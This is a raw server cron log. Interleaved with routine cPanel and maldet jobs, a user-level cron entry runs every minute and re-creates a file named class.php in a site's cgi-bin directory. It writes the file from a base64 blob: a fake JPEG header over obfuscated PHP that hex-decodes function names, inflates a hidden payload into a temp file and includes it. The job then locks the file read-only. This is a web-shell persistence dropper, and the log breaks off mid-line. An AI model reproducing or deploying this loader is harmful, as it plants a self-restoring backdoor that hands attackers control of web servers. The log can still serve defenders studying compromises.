Apr 12 23:41:01 server CROND[29480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:42:01 server CROND[29547]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 23:42:01 server CROND[29548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:43:01 server CROND[29599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:44:01 server CROND[29650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:45:01 server CROND[29702]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:45:01 server CROND[29704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:45:01 server CROND[29705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:46:01 server CROND[29903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:47:01 server CROND[29949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:48:01 server CROND[29994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:49:01 server CROND[30043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:50:01 server CROND[30089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 23:50:01 server CROND[30091]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:50:01 server CROND[30090]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 23:50:01 server CROND[30093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:50:01 server CROND[30092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:51:01 server CROND[30298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:52:01 server CROND[30341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:53:01 server CROND[30395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:53:01 server CROND[30397]: (root) CMD (/usr/lib64/sa/sa2 -A)
Apr 12 23:54:01 server CROND[30452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0O